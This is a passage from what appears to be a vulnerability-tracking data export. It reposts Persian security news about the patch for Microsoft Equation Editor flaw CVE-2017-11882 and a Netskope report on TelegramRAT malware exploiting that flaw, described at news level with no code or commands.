\u0628\u0646\u0627\u0628\u0631\u0627\u06cc\u0646\u060c \u0627\u06af\u0631 \u0646\u0627\u0645 \u0641\u0648\u0646\u062a\u200c \u0627\u0646\u062a\u062e\u0627\u0628\u200c\u0634\u062f\u0647 \u062f\u0631 \u0627\u0628\u0632\u0627\u0631 \u0648\u06cc\u0631\u0627\u06cc\u0634\u200c\u06af\u0631 Equation \u062e\u06cc\u0644\u06cc \u0628\u0632\u0631\u06af \u0628\u0627\u0634\u062f\u060c \u0645\u0645\u06a9\u0646 \u0627\u0633\u062a \u0645\u0646\u062c\u0631\u0628\u0647 \u06cc\u06a9 \u0633\u0631\u0631\u06cc\u0632 \u0628\u0627\u0641\u0631 \u0634\u0648\u062f.\n\n\u0627\u06a9\u0646\u0648\u0646 \u062f\u0631 \u0646\u0633\u062e\u0647\u200c\u06cc \u062c\u062f\u06cc\u062f \u0628\u0647 \u0645\u0646\u0638\u0648\u0631 \u062c\u0644\u0648\u06af\u06cc\u0631\u06cc \u0627\u0632 \u0633\u0631\u0631\u06cc\u0632 \u0628\u0627\u0641\u0631\u060c \u06cc\u06a9 \u067e\u0627\u0631\u0627\u0645\u062a\u0631 \u062f\u06cc\u06af\u0631 \u0628\u0647 \u0627\u06cc\u0646 \u062a\u0627\u0628\u0639 \u0627\u0636\u0627\u0641\u0647\u200c \u0634\u062f\u0647 \u0627\u0633\u062a \u06a9\u0647 \u0637\u0648\u0644 \u0628\u0627\u0641\u0631 \u0645\u0642\u0635\u062f \u0631\u0627 \u062f\u0631 \u062e\u0648\u062f \u0646\u06af\u0647 \u0645\u06cc\u200c\u062f\u0627\u0631\u062f\u060c \u0648 \u0648\u0642\u062a\u06cc \u0634\u0645\u0627\u0631\u0646\u062f\u0647\u200c\u06cc \u062d\u0644\u0642\u0647\u200c\u0627\u06cc \u06a9\u0647 \u0631\u0648\u0646\u0648\u0634\u062a \u0646\u0648\u06cc\u0633\u0647\u200c\u0647\u0627 \u0631\u0627 \u062f\u0631 \u0628\u0627\u0641\u0631 \u0642\u0631\u0627\u0631 \u0645\u06cc\u200c\u062f\u0647\u062f \u0628\u0647 \u0627\u0646\u062f\u0627\u0632\u0647\u200c\u06cc \u0637\u0648\u0644 \u0628\u0627\u0641\u0631 \u0645\u0642\u0635\u062f \u0631\u0633\u06cc\u062f\u060c \u0627\u062c\u0631\u0627\u06cc \u062f\u0633\u062a\u0648\u0631\u0627\u062a \u062d\u0644\u0642\u0647 \u0628\u0647 \u067e\u0627\u06cc\u0627\u0646 \u0645\u06cc\u200c\u0631\u0633\u062f. Kolsek \u062e\u0627\u0637\u0631 \u0646\u0634\u0627\u0646 \u06a9\u0631\u062f:\n\u00ab\u0639\u0644\u0627\u0648\u0647\u200c\u0628\u0631 \u0627\u06cc\u0646\u060c \u062f\u0631 \u0645\u0648\u0627\u0631\u062f\u06cc \u06a9\u0647 \u0637\u0648\u0644 \u0628\u0627\u0641\u0631 \u0645\u0642\u0635\u062f \u0628\u0647 \u067e\u0627\u06cc\u0627\u0646 \u0628\u0631\u0633\u062f\u060c \u0631\u0634\u062a\u0647 \u0627\u06cc \u06a9\u0647 \u0631\u0648\u0646\u0648\u0634\u062a\u06cc \u0627\u0632 \u0622\u0646 \u062f\u0631 \u0628\u0627\u0641\u0631 \u0645\u0642\u0635\u062f \u0642\u0631\u0627\u0631 \u062f\u0627\u062f\u0647 \u0645\u06cc\u200c\u0634\u0648\u062f \u0628\u0627 \u0635\u0641\u0631 \u067e\u0627\u06cc\u0627\u0646 \u0645\u06cc\u200c\u067e\u0630\u06cc\u0631\u062f (\u06a9\u0647 \u0627\u06cc\u0646 \u0645\u0633\u0623\u0644\u0647 \u0628\u0627\u0639\u062b \u0645\u06cc\u200c\u0634\u0648\u062f \u06a9\u0647 \u0645\u0634\u062e\u0635 \u0634\u0648\u062f \u06a9\u0647 \u062a\u0647\u06cc\u0647\u200c\u06cc \u0631\u0648\u0646\u0648\u0634\u062a \u0627\u0632 \u0627\u06cc\u0646 \u0631\u0634\u062a\u0647 \u0628\u0647 \u067e\u0627\u06cc\u0627\u0646 \u0646\u0631\u0633\u06cc\u062f\u0647 \u0627\u0633\u062a).\u00bb\n\n \ud83c\udf3c\ud83c\uddee\ud83c\uddf7 @KaitNews \ud83c\uddee\ud83c\uddf7\ud83c\udf3c\n\n\u0627\u06cc\u0646 \u067e\u0698\u0648\u0647\u0634\u200c\u06af\u0631 \u0645\u06cc\u200c\u06af\u0648\u06cc\u062f: \u00ab\u0639\u0644\u0627\u0648\u0647\u200c\u0628\u0631 \u0627\u06cc\u0646\u200c\u06a9\u0647 \u062f\u0631 \u0646\u0633\u062e\u0647 \u06cc \u062c\u062f\u06cc\u062f \u0637\u0648\u0644 \u0628\u0627\u0641\u0631 \u0628\u0631\u0631\u0633\u06cc \u0645\u06cc\u200c\u0634\u0648\u062f\u060c \u0645\u0647\u0646\u062f\u0633\u0627\u0646\u06cc \u06a9\u0647 \u062a\u0627\u0628\u0639 \u062f\u0627\u0631\u0627\u06cc \u0627\u0634\u06a9\u0627\u0644 \u0631\u0627 \u0648\u0635\u0644\u0647 \u06a9\u0631\u062f\u0647\u200c\u0627\u0646\u062f \u0647\u0645\u0686\u0646\u06cc\u0646 \u062a\u0648\u0627\u0646\u0633\u062a\u0647\u200c\u0627\u0646\u062f \u062d\u062c\u0645 \u0627\u06cc\u0646 \u062a\u0627\u0628\u0639 \u0631\u0627 \u06f1\u06f4 \u0628\u0627\u06cc\u062a \u06a9\u0645\u062a\u0631 \u06a9\u0646\u0646\u062f. \u0645\u0647\u0645\u200c\u062a\u0631 \u0627\u0632 \u0647\u0645\u0647 \u0628\u0647 \u0646\u0638\u0631 \u0645\u06cc\u200c\u0631\u0633\u062f \u06a9\u0647 \u0627\u06cc\u0646 \u0645\u0647\u0646\u062f\u0633\u0627\u0646 \u062a\u0648\u0627\u0628\u0639 \u062f\u06cc\u06af\u0631\u06cc \u0631\u0627 \u0646\u06cc\u0632 \u062f\u0631 \u0627\u06cc\u0646 \u0645\u0648\u0644\u0641\u0647 \u0648\u0635\u0644\u0647 \u06a9\u0631\u062f\u0647\u200c\u0627\u0646\u062f\u060c \u0628\u0647 \u0627\u062d\u062a\u0645\u0627\u0644 \u0632\u06cc\u0627\u062f \u0622\u0646\u200c\u0647\u0627 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc\u200c\u0647\u0627\u06cc \u062f\u06cc\u06af\u0631\u06cc \u0631\u0627 \u0634\u0646\u0627\u0633\u0627\u06cc\u06cc \u06a9\u0631\u062f\u0647 \u0648 \u062a\u0635\u0645\u06cc\u0645 \u06af\u0631\u0641\u062a\u0647\u200c\u0627\u0646\u062f \u0627\u06cc\u0646 \u0627\u0634\u06a9\u0627\u0644\u0627\u062a \u0631\u0627 \u0646\u06cc\u0632 \u0648\u0635\u0644\u0647 \u06a9\u0646\u0646\u062f.\u00bb\n\n\u062f\u0631 \u062d\u0627\u0644 \u062d\u0627\u0636\u0631 \u062f\u0631 \u062f\u0648 \u062a\u0627\u0628\u0639 \u062f\u0631 \u0646\u0633\u062e\u0647\u200c\u06cc \u0648\u0635\u0644\u0647\u200c\u0634\u062f\u0647\u060c \u062f\u0631\u0633\u062a \u0642\u0628\u0644 \u0627\u0632 \u0639\u0645\u0644\u06cc\u0627\u062a\u200c\u0647\u0627\u06cc memcpy (\u06a9\u0647 \u0631\u0648\u0646\u0648\u0634\u062a\u06cc \u0627\u0632 \u06cc\u06a9 \u0622\u062f\u0631\u0633 \u0627\u0632 \u062d\u0627\u0641\u0638\u0647 \u0631\u0627 \u062f\u0631 \u0622\u062f\u0631\u0633 \u062f\u06cc\u06af\u0631\u06cc \u0642\u0631\u0627\u0631 \u0645\u06cc\u200c\u200c\u062f\u0647\u062f) \u0628\u0631\u0631\u0633\u06cc\u200c \u0645\u062d\u062f\u0648\u062f\u0647 \u0627\u0646\u062c\u0627\u0645 \u0645\u06cc\u200c\u0634\u0648\u062f. Kolsek \u06af\u0641\u062a: \u00ab\u0645\u0647\u0646\u062f\u0633\u0627\u0646\u06cc \u06a9\u0647 \u0648\u06cc\u0631\u0627\u06cc\u0634\u200c\u06af\u0631 Equation \u0631\u0627 \u0648\u0635\u0644\u0647 \u06a9\u0631\u062f\u0647\u200c\u0627\u0646\u062f\u060c \u0628\u0631\u0627\u06cc \u067e\u06cc\u0627\u062f\u0647\u200c\u0633\u0627\u0632\u06cc \u0627\u06cc\u0646 \u0628\u0631\u0631\u0633\u06cc\u200c\u0647\u0627 \u0627\u0632 \u06cc\u06a9 \u062f\u0633\u062a\u0648\u0631\u0627\u0644\u0639\u0645\u0644 \u0648\u0627\u062d\u062f \u062f\u0631 \u0647\u0631 \u062f\u0648 \u062a\u0627\u0628\u0639 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u06a9\u0631\u062f\u0647\u200c\u0627\u0646\u062f\u060c \u0648 \u0627\u06cc\u0646 \u0645\u0633\u0623\u0644\u0647 \u0628\u0627\u0639\u062b \u0634\u062f\u0647 \u0627\u0633\u062a \u06a9\u0647 \u06a9\u062f \u0627\u06cc\u0646 \u062a\u0648\u0627\u0628\u0639 \u0627\u0632 \u0646\u0638\u0631 \u0645\u0646\u0637\u0642\u06cc \u06cc\u06a9\u0633\u0627\u0646 \u0628\u0627\u0634\u062f\u060c \u0627\u0645\u0627 \u0647\u0645\u0686\u0646\u06cc\u0646 \u0628\u0631\u0627\u06cc \u0627\u0641\u0632\u0648\u062f\u0646 \u06a9\u062f\u0647\u0627\u06cc \u0645\u0631\u0628\u0648\u0637 \u0628\u0647 \u0627\u06cc\u0646 \u0628\u0631\u0631\u0633\u06cc\u200c\u0647\u0627 \u0648 \u0642\u0631\u0627\u0631 \u062f\u0627\u062f\u0646 \u0635\u0641\u0631 \u062f\u0631 \u067e\u0627\u06cc\u0627\u0646 \u0631\u0634\u062a\u0647\u200c\u0647\u0627\u06cc\u06cc \u06a9\u0647 \u0631\u0648\u0646\u0648\u0634\u062a \u0622\u0646\u200c\u0647\u0627 \u062a\u0647\u06cc\u0647\u200c \u0634\u062f\u0647 \u0627\u0633\u062a\u060c \u0641\u0636\u0627\u06cc \u062e\u0627\u0644\u06cc \u0627\u06cc\u062c\u0627\u062f \u06a9\u0631\u062f\u0647\u200c\u0627\u0646\u062f.\u00bb\n\n \ud83c\udf3c\ud83c\uddee\ud83c\uddf7 @KaitNews \ud83c\uddee\ud83c\uddf7\ud83c\udf3c", "creation_timestamp": "2026-07-27T00:01:38.520508Z"}, {"uuid": "036e8817-b4d0-45bc-b5a3-270e64500ff6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "seen", "source": "https://t.me/KaitNews/7318", "content": "\u0628\u0647\u0631\u0647\u200c\u0628\u0631\u062f\u0627\u0631\u06cc \u0628\u062f\u0627\u0641\u0632\u0627\u0631 TelegramRAT \u0627\u0632 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u0622\u0641\u06cc\u0633 \u0648 \u0646\u0631\u0645\u200c\u0627\u0641\u0632\u0627\u0631 \u062a\u0644\u06af\u0631\u0627\u0645 \n\n\ud83c\udf15\ud83d\udc9b @KaitNews \ud83d\udc9b\ud83c\udf15\n\n\ud83d\udcd7 \u0628\u0647 \u06af\u0632\u0627\u0631\u0634 IPA \u0628\u0647 \u0646\u0642\u0644 \u0627\u0632 ASIS \ud83d\udcd7\n\u0634\u0631\u06a9\u062a Netskope \u0647\u0634\u062f\u0627\u0631 \u0645\u06cc\u200c\u062f\u0647\u062f \u06a9\u0647 \u062a\u0631\u0648\u062c\u0627\u0646 \u062f\u0633\u062a\u0631\u0633\u06cc \u0627\u0632 \u0631\u0627\u0647 \u062f\u0648\u0631 (RAT) \u06a9\u0647 \u0627\u062e\u06cc\u0631\u0627\u064b \u06a9\u0634\u0641 \u0634\u062f \u0627\u0632 \u0637\u0631\u06cc\u0642 \u0627\u0633\u0646\u0627\u062f\u06cc \u062a\u0648\u0632\u06cc\u0639 \u0645\u06cc\u200c\u0634\u0648\u062f \u06a9\u0647 \u0627\u0632 \u06cc\u06a9 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u06f1\u06f7 \u0633\u0627\u0644\u0647\u200c\u06cc \u0622\u0641\u06cc\u0633 \u06a9\u0647 \u062f\u0631 \u0645\u0627\u0647 \u0646\u0648\u0627\u0645\u0628\u0631 \u0633\u0627\u0644 \u06f2\u06f0\u06f1\u06f7 \u0645\u06cc\u0644\u0627\u062f\u06cc \u0648\u0635\u0644\u0647 \u0634\u062f\u060c \u0628\u0647\u0631\u0647\u200c\u0628\u0631\u062f\u0627\u0631\u06cc \u0645\u06cc\u200c\u06a9\u0646\u0646\u062f.\n\n\u062f\u0631 \u0648\u0627\u0642\u0639 TelegramRAT\u060c \u0628\u062f\u0627\u0641\u0632\u0627\u0631\u06cc \u0627\u0633\u062a \u06a9\u0647 \u0627\u0632 \u0628\u0631\u0646\u0627\u0645\u0647\u200c\u06cc \u067e\u06cc\u0627\u0645\u200c\u0631\u0633\u0627\u0646 \u062a\u0644\u06af\u0631\u0627\u0645 \u0628\u0631\u0627\u06cc \u0641\u0631\u0645\u0627\u0646 \u0648 \u06a9\u0646\u062a\u0631\u0644 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0645\u06cc\u200c\u06a9\u0646\u062f\u060c \u0648 \u0627\u0632 \u06cc\u06a9 \u0628\u0633\u062a\u0631 \u0630\u062e\u06cc\u0631\u0647\u200c\u0633\u0627\u0632\u06cc \u0627\u0628\u0631\u06cc \u0633\u0648\u0621\u200c\u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0645\u06cc\u200c\u06a9\u0646\u062f \u062a\u0627 \u0628\u0627\u0631 \u062f\u0627\u062f\u0647\u200c\u06cc \u0645\u062e\u0631\u0628 \u062e\u0648\u062f \u0631\u0627 \u0630\u062e\u06cc\u0631\u0647 \u06a9\u0646\u062f. \u0627\u06cc\u0646 \u0631\u0648\u06cc\u06a9\u0631\u062f \u0628\u0647 \u0627\u06cc\u0646 \u062a\u0647\u062f\u06cc\u062f \u0627\u062c\u0627\u0632\u0647 \u0645\u06cc\u200c\u062f\u0647\u062f \u062a\u0627 \u0628\u0631\u062e\u06cc \u0627\u0632 \u067e\u0648\u06cc\u0634\u200c\u06af\u0631\u200c\u0647\u0627\u06cc \u0627\u0645\u0646\u06cc\u062a\u06cc \u0633\u0646\u062a\u06cc \u0631\u0627 \u0627\u0632 \u0633\u0631 \u0628\u0627\u0632 \u06a9\u0646\u062f.\n\n  \ud83c\udf15\ud83d\udc9b @KaitNews \ud83d\udc9b\ud83c\udf15\n\n\u062d\u0645\u0644\u0627\u062a \u0645\u0631\u0628\u0648\u0637 \u0628\u0647 TelegramRAT \u0628\u0627 \u06cc\u06a9 \u0633\u0646\u062f \u0622\u0641\u06cc\u0633 \u0645\u062e\u0631\u0628 \u0634\u0631\u0648\u0639 \u0645\u06cc\u200c\u0634\u0648\u0646\u062f \u06a9\u0647 \u0627\u0632 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc CVE-\u06f2\u06f0\u06f1\u06f7-\u06f1\u06f1\u06f8\u06f8\u06f2 \u062f\u0631 Equation Editor \u0645\u0627\u06cc\u06a9\u0631\u0648\u0633\u0627\u0641\u062a (EQNEDT\u06f3\u06f2.EXE) \u06a9\u0647 \u062f\u0631 \u0645\u0627\u0647 \u0646\u0648\u0627\u0645\u0628\u0631 \u0633\u0627\u0644 \u06f2\u06f0\u06f0\u06f0 \u0645\u06cc\u0644\u0627\u062f\u06cc \u0645\u0639\u0631\u0641\u06cc \u0634\u062f\u060c \u0628\u0647\u0631\u0647\u200c\u0628\u0631\u062f\u0627\u0631\u06cc \u0645\u06cc\u200c\u06a9\u0646\u0646\u062f. \u0627\u06cc\u0646 \u0627\u0634\u06a9\u0627\u0644 \u0628\u0647 \u0645\u062f\u062a \u06f1\u06f7 \u0633\u0627\u0644 \u062a\u0627 \u0632\u0645\u0627\u0646\u06cc \u06a9\u0647 \u0645\u0627\u06cc\u06a9\u0631\u0648\u0633\u0627\u0641\u062a \u0645\u0627\u0647 \u06af\u0630\u0634\u062a\u0647 \u0622\u0646 \u0631\u0627 \u0628\u0647 \u0635\u0648\u0631\u062a \u062f\u0633\u062a\u06cc \u0648\u0635\u0644\u0647 \u06a9\u0631\u062f\u060c \u0628\u062f\u0648\u0646 \u0647\u06cc\u0686 \u062a\u0648\u062c\u0647\u06cc \u0628\u0627\u0642\u06cc \u0645\u0627\u0646\u062f\u060c \u0627\u0645\u0627 \u0637\u0648\u0644\u06cc \u0646\u06a9\u0634\u06cc\u062f \u06a9\u0647 \u0639\u0627\u0645\u0644\u0627\u0646 \u0645\u062e\u0631\u0628 \u0634\u0631\u0648\u0639 \u0628\u0647 \u0633\u0648\u0621\u200c\u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0632 \u0622\u0646 \u06a9\u0631\u062f\u0646\u062f.\n\n  \ud83c\udf15\ud83d\udc9b @KaitNews \ud83d\udc9b\ud83c\udf15\n\n\u0628\u0647 \u0639\u0646\u0648\u0627\u0646 \u0628\u062e\u0634\u06cc \u0627\u0632 \u0627\u06cc\u0646 \u062d\u0645\u0644\u0647\u200c\u06cc \u062c\u062f\u06cc\u062f\u060c \u062e\u062f\u0645\u0627\u062a \u0647\u062f\u0627\u06cc\u062a \u0646\u0634\u0627\u0646\u06cc \u0627\u06cc\u0646\u062a\u0631\u0646\u062a\u06cc Bit.ly \u0645\u0648\u0631\u062f \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0642\u0631\u0627\u0631 \u06af\u0631\u0641\u062a \u062a\u0627 \u0628\u0627\u0631 \u062f\u0627\u062f\u0647\u200c\u06cc TelegramRAT \u0631\u0627 \u06a9\u0647 \u062f\u0631 \u062f\u0631\u0627\u067e\u200c\u0628\u0627\u06a9\u0633 \u0645\u06cc\u0632\u0628\u0627\u0646\u06cc \u0634\u062f\u0647\u060c \u067e\u0646\u0647\u0627\u0646 \u06a9\u0646\u062f. \u0627\u06cc\u0646 \u0628\u062f\u0627\u0641\u0632\u0627\u0631 \u0627\u0632 \u0648\u0627\u0633\u0637 \u0628\u0631\u0646\u0627\u0645\u0647\u200c\u0646\u0648\u06cc\u0633\u06cc \u0628\u0627\u062a \u062a\u0644\u06af\u0631\u0627\u0645 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0645\u06cc\u200c\u06a9\u0646\u062f \u062a\u0627 \u062f\u0633\u062a\u0648\u0631\u0627\u062a \u0631\u0627 \u062f\u0631\u06cc\u0627\u0641\u062a \u06a9\u0646\u062f \u0648 \u067e\u0627\u0633\u062e\u200c\u0647\u0627 \u0631\u0627 \u0628\u0647 \u0645\u0647\u0627\u062c\u0645 \u0627\u0631\u0633\u0627\u0644 \u06a9\u0646\u062f. \u0628\u0627 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0632 \u0628\u0631\u0646\u0627\u0645\u0647\u200c\u0647\u0627\u06cc \u0627\u0628\u0631\u06cc SSL \u0628\u0631\u0627\u06cc \u0622\u0644\u0648\u062f\u06af\u06cc \u0648 \u0639\u0645\u0644\u06cc\u0627\u062a \u0641\u0631\u0645\u0627\u0646 \u0648 \u06a9\u0646\u062a\u0631\u0644\u060c \u0627\u06cc\u0646 \u0628\u062f\u0627\u0641\u0632\u0627\u0631 \u0645\u06cc\u200c\u062a\u0648\u0627\u0646\u062f \u0627\u0631\u062a\u0628\u0627\u0637 \u0631\u0627 \u0627\u0632 \u0628\u0631\u0646\u0627\u0645\u0647\u200c\u0647\u0627\u06cc \u0627\u0645\u0646\u06cc\u062a\u06cc \u0645\u062e\u0641\u06cc \u0646\u06af\u0647 \u062f\u0627\u0631\u062f.\n\n  \ud83c\udf15\ud83d\udc9b @KaitNews \ud83d\udc9b\ud83c\udf15\n\n\u0634\u0631\u06a9\u062a Netskope \u0645\u06cc\u200c\u06af\u0648\u06cc\u062f: \u00ab\u0631\u0634\u062a\u0647\u200c\u0647\u0627\u06cc \u0642\u0627\u0628\u0644 \u0627\u062c\u0631\u0627\u06cc \u0628\u0627\u0631 \u062f\u0627\u062f\u0647\u060c \u062d\u0627\u0648\u06cc \u0627\u0631\u062c\u0627\u0639\u200c\u0647\u0627\u06cc \u0628\u0633\u06cc\u0627\u0631\u06cc \u0628\u0647 \u067e\u0631\u0648\u0646\u062f\u0647\u200c\u0647\u0627\u06cc \u067e\u0627\u06cc\u062a\u0648\u0646 \u0627\u0633\u062a. \u067e\u0633 \u0627\u0632 \u06cc\u06a9 \u062a\u062c\u0632\u06cc\u0647 \u0648 \u062a\u062d\u0644\u06cc\u0644 \u0633\u0631\u06cc\u0639\u060c \u0628\u0647 \u0646\u0638\u0631 \u0645\u06cc\u200c\u0631\u0633\u06cc\u062f \u06a9\u0647 \u0627\u06cc\u0646 \u0628\u0627\u0631 \u062f\u0627\u062f\u0647 \u06cc\u06a9 \u0628\u0631\u0646\u0627\u0645\u0647\u200c\u06cc \u067e\u0627\u06cc\u062a\u0648\u0646 \u0628\u0627\u0634\u062f \u06a9\u0647 \u0628\u0647 \u06cc\u06a9 \u067e\u0631\u0648\u0646\u062f\u0647\u200c\u06cc \u0642\u0627\u0628\u0644 \u0627\u062c\u0631\u0627\u06cc \u062f\u0648\u062f\u0648\u06cc\u06cc \u0645\u0633\u062a\u0642\u0644 \u062a\u0628\u062f\u06cc\u0644 \u0634\u062f\u0647 \u0627\u0633\u062a \u06a9\u0647 \u062d\u0627\u0648\u06cc \u0647\u0645\u0647\u200c\u06cc \u0686\u06cc\u0632\u0647\u0627\u06cc \u0645\u0648\u0631\u062f \u0646\u06cc\u0627\u0632 \u0628\u0631\u0627\u06cc \u0627\u062c\u0631\u0627\u06cc \u0628\u0631\u0646\u0627\u0645\u0647 \u0627\u0633\u062a.\u00bb\n\n\u0628\u0647 \u062e\u0627\u0637\u0631 \u0627\u06cc\u0646\u200c\u06a9\u0647 \u0645\u0641\u0633\u0631 \u067e\u0627\u06cc\u062a\u0648\u0646\u060c \u06a9\u062f \u0628\u0631\u0646\u0627\u0645\u0647\u060c \u0648 \u0647\u0645\u0647\u200c\u06cc \u06a9\u062a\u0627\u0628\u062e\u0627\u0646\u0647\u200c\u0647\u0627\u06cc \u0645\u0648\u0631\u062f \u0646\u06cc\u0627\u0632 \u0628\u0633\u062a\u0647\u200c\u0628\u0646\u062f\u06cc \u0634\u062f\u0647 \u0647\u0633\u062a\u0646\u062f\u060c \u067e\u0631\u0648\u0646\u062f\u0647\u200c\u06cc \u0642\u0627\u0628\u0644 \u0627\u062c\u0631\u0627 \u062d\u062c\u0645 \u0628\u0632\u0631\u06af\u06cc \u062f\u0627\u0631\u062f \u06a9\u0647 \u0628\u0627\u0639\u062b \u0645\u06cc\u200c\u0634\u0648\u062f \u06a9\u0645\u062a\u0631 \u0645\u0634\u06a9\u0648\u06a9 \u0628\u0647 \u0646\u0638\u0631 \u0628\u0631\u0633\u062f.\n\n  \ud83c\udf15\ud83d\udc9b @KaitNews \ud83d\udc9b\ud83c\udf15\n\n\u062f\u0631 \u0645\u0633\u06cc\u0631 \u0627\u0633\u062a\u062e\u0631\u0627\u062c\u200c\u0634\u062f\u0647\u060c \u067e\u0698\u0648\u0647\u0634\u06af\u0631\u0627\u0646 \u067e\u0631\u0648\u0646\u062f\u0647\u200c\u0647\u0627\u06cc PYD\u060c \u067e\u0631\u0648\u0646\u062f\u0647\u200c\u0647\u0627\u06cc DLL  \u0648 \u06cc\u06a9 \u067e\u0648\u0634\u0647\u200c\u06cc \u062d\u0627\u0648\u06cc \u067e\u0631\u0648\u0646\u062f\u0647\u200c\u0647\u0627\u06cc .pyc \u0631\u0627 \u06cc\u0627\u0641\u062a\u0646\u062f. \u0622\u0646\u200c\u0647\u0627 \u0647\u0645\u0686\u0646\u06cc\u0646 \u06cc\u06a9 \u067e\u0631\u0648\u0646\u062f\u0647 \u0628\u0647 \u0646\u0627\u0645 \u00abRATAttack\u00bb \u0631\u0627 \u06a9\u0634\u0641 \u06a9\u0631\u062f\u0646\u062f \u06a9\u0647 \u0628\u0647 \u06cc\u06a9 \u067e\u0631\u0648\u0698\u0647\u200c\u06cc \u00abRAT-via-Telegram\u00bb \u0645\u062a\u0646\u200c\u0628\u0627\u0632 \u062f\u0631 GitHub \u0627\u0634\u0627\u0631\u0647 \u062f\u0627\u0631\u062f.\n\n  \ud83c\udf15\ud83d\udc9b @KaitNews \ud83d\udc9b\ud83c\udf15\n\n\u067e\u0698\u0648\u0647\u0634\u06af\u0631\u0627\u0646 \u0627\u0645\u0646\u06cc\u062a\u06cc \u06a9\u0634\u0641 \u06a9\u0631\u062f\u0647\u200c\u0627\u0646\u062f \u06a9\u0647 \u0627\u06cc\u0646 \u0645\u0647\u0627\u062c\u0645\u0627\u0646 \u0647\u0646\u06af\u0627\u0645\u06cc \u06a9\u0647 \u067e\u0631\u0648\u0646\u062f\u0647\u200c\u06cc \u0627\u062c\u0631\u0627\u06cc\u06cc \u067e\u0627\u06cc\u062a\u0648\u0646 \u062e\u0648\u062f \u0631\u0627 \u06a9\u0627\u0645\u067e\u0627\u06cc\u0644 \u0645\u06cc\u200c\u06a9\u0646\u0646\u062f\u060c \u0627\u0632 \u06a9\u062f \u0645\u0648\u062c\u0648\u062f \u062f\u0631 \u06af\u06cc\u062a\u200c\u0647\u0627\u0628 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0645\u06cc\u200c\u06a9\u0646\u0646\u062f.\n\n\u0628\u0627 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0632 \u062a\u0644\u06af\u0631\u0627\u0645\u060c \u06a9\u0647 \u0627\u0632 \u0627\u0631\u062a\u0628\u0627\u0637 \u0631\u0645\u0632\u0646\u06af\u0627\u0631\u06cc\u200c\u0634\u062f\u0647 \u067e\u0634\u062a\u06cc\u0628\u0627\u0646\u06cc \u0645\u06cc\u200c\u06a9\u0646\u062f\u060c \u0645\u0647\u0627\u062c\u0645\u0627\u0646 \u0627\u0637\u0645\u06cc\u0646\u0627\u0646 \u062f\u0627\u0631\u0646\u062f \u06a9\u0647 \u0645\u06cc\u200c\u062a\u0648\u0627\u0646\u0646\u062f \u0628\u0647 \u0631\u0627\u062d\u062a\u06cc \u0648 \u0628\u062f\u0648\u0646 \u0647\u06cc\u0686 \u062c\u0627\u0633\u0648\u0633\u06cc \u062f\u0631 \u0627\u0631\u062a\u0628\u0627\u0637\u060c \u0628\u0627 \u0647\u062f\u0641 \u0627\u0631\u062a\u0628\u0627\u0637 \u0628\u0631\u0642\u0631\u0627\u0631 \u06a9\u0646\u0646\u062f. \u0646\u0648\u06cc\u0633\u0646\u062f\u06af\u0627\u0646 RAT \u06cc\u06a9 \u0628\u0627\u062a \u062a\u0644\u06af\u0631\u0627\u0645 \u0627\u06cc\u062c\u0627\u062f \u0645\u06cc\u200c\u06a9\u0646\u0646\u062f \u0648 \u062a\u0648\u06a9\u0646 \u062a\u0644\u06af\u0631\u0627\u0645 \u0628\u0627\u062a \u0631\u0627 \u062f\u0631 \u067e\u0631\u0648\u0646\u062f\u0647\u200c\u06cc \u067e\u06cc\u06a9\u0631\u0628\u0646\u062f\u06cc TelegramRAT \u062c\u0627\u0633\u0627\u0632\u06cc \u0645\u06cc\u200c\u06a9\u0646\u0646\u062f. \u0633\u067e\u0633 \u0627\u06cc\u0646 \u0628\u062f\u0627\u0641\u0632\u0627\u0631 \u0628\u0647 \u06a9\u0627\u0646\u0627\u0644 \u062a\u0644\u06af\u0631\u0627\u0645 \u0628\u0627\u062a \u0645\u062a\u0635\u0644 \u0645\u06cc\u200c\u0634\u0648\u062f \u06a9\u0647 \u062f\u0631 \u0622\u0646\u200c\u062c\u0627 \u0645\u0647\u0627\u062c\u0645 \u0645\u06cc\u200c\u062a\u0648\u0627\u0646\u062f \u062f\u0633\u062a\u0648\u0631\u0627\u062a\u06cc \u0628\u0631\u0627\u06cc \u062f\u0633\u062a\u06af\u0627\u0647 \u0622\u0644\u0648\u062f\u0647 \u0635\u0627\u062f\u0631 \u06a9\u0646\u062f.\n\n  \ud83c\udf15\ud83d\udc9b @KaitNews \ud83d\udc9b\ud83c\udf15\n\n\u0637\u0628\u0642 \u062f\u0633\u062a\u0648\u0631\u0627\u062a \u062f\u0631\u06cc\u0627\u0641\u062a\u200c\u0634\u062f\u0647\u060c \u0627\u06cc\u0646 \u0628\u062f\u0627\u0641\u0632\u0627\u0631 \u0645\u06cc\u200c\u062a\u0648\u0627\u0646\u062f \u062a\u0635\u0627\u0648\u06cc\u0631\u06cc \u0627\u0632 \u0635\u0641\u062d\u0647 \u062a\u0647\u06cc\u0647 \u06a9\u0646\u062f\u060c \u062f\u0633\u062a\u0648\u0631\u0627\u062a \u0634\u0650\u0644 \u0631\u0627 \u0627\u062c\u0631\u0627 \u06a9\u0646\u062f\u060c \u067e\u0631\u0648\u0646\u062f\u0647\u200c\u0647\u0627 \u0631\u0627 \u06a9\u067e\u06cc \u06a9\u0646\u062f\u060c \u067e\u0631\u0648\u0646\u062f\u0647\u200c\u0647\u0627 \u0631\u0627 \u062d\u0630\u0641 \u06a9\u0646\u062f\u060c \u067e\u0631\u0648\u0646\u062f\u0647 \u0631\u0627 \u0627\u0632 \u0647\u062f\u0641 \u0628\u0627\u0631\u06af\u06cc\u0631\u06cc \u06a9\u0646\u062f\u060c \u067e\u0631\u0648\u0646\u062f\u0647\u200c\u0647\u0627\u06cc 